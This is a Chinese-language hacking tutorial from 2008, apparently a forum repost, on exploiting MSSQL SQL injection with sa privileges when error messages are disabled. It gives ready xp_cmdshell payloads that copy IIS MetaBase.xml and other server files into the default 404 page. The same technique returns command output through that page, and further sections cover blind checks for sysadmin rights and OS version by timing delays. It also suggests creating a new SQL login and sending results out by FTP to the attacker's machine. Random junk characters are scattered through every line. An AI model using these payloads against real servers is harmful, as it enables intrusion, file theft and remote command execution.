遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
9 i9 J; _* h6 t3 }; |6 a) ?$ s* L, f% O" R: k7 q
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
1 H5 M% M9 \% y1 {0 a1 ~; K# o5 h; Z- ]* c. \
这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。. [) N* @/ i: ~% }* i2 s+ n+ l: u
/ f, ?, E( {. I% B5 p# D5 \ IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
5 e& }. E6 a$ K/ v8 P& C( M# `3 n$ z) T
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--8 a' ~+ ~5 a0 X& _4 U
; U. ^5 x! o7 c ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。! v" x6 }5 j' v3 s9 _0 I
% s* b. s# m R/ M, s
执行命令得到回显
# \6 [$ y. ~" f1 D% H" D, j2 B( `" Q1 h# r# T9 E6 y2 v5 v K
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
% j$ B1 Q3 |. N
6 M, X) T# u7 K3 a9 a 得到文件也shi相同,把文件copy到404b.htm就行了; D# H. |% G. P' n
) m/ ?- n* U& \- K& z
by 28ice, 2008/6/26
- x) Y, m: X$ _0 Y' u- ^5 E: ~8 n# {5 N6 D. F. [( B0 y
摘自 28度的冰6 e+ G% ^; V* S, }
' p9 I" U* ^% C& W3 u
盲注判断权限和操作系统版本
' ^$ n; h8 [3 r" t! Q. \5 G" ~5 |# ]
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
% H/ M4 G2 _6 r) d# o+ _4 v) J
8 j: A7 V* l; V' e/ a# N/ z& X 最简单的,可能以用这样的方法:: B( L% ~8 s# u8 S
- {! L2 w5 ]! A4 S
1=(select IS_SRVROLEMEMBER(’sysadmin’))1 _6 s& }4 Y8 O
% ]/ X* u; Y/ m# X9 e* F! [& x
当然,有些情况下,这个方法并不奏效。
T! y) [3 g+ X) l$ ]( U8 o l$ {; `4 j, C
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。7 z7 c2 x2 E; [# d
9 b Z- R& W7 \6 q. m
有个3办法可能以解决这个问题
$ l g |8 M! [7 S7 Q- e0 ^; c
- b% a5 k' u v) I* @. D' Z) q a.把执行结果写到404b.htm,具体请看我的上一篇文章
" G u7 T) g W( J. D) I& e, V! P+ L2 N8 D3 G* ` a9 [0 }
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟) o( k. u/ k3 ~% {
" S9 I! {- h0 K' x1 Y
c.如果1433端口可能以连接,那干脆新建个sql登录
3 t5 D+ P+ k" T$ Z/ l# A7 j! w+ W: w! r6 h! y! `
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数' {- }9 j0 L) s
! B: o! g( S- z* x% t6 b
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下. l, ~9 ^( _# X, Y. X
+ H9 {" E0 D0 g) A1 F
很简单
' X1 n+ c0 B" z4 D. d6 p4 m+ n: J
' P3 l& W! ^2 w0 l" O* o" \ 执行systeminfo# u2 D# _ c8 f( g3 R, P
5 D) p+ `& L+ D0 t7 K @8 M
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |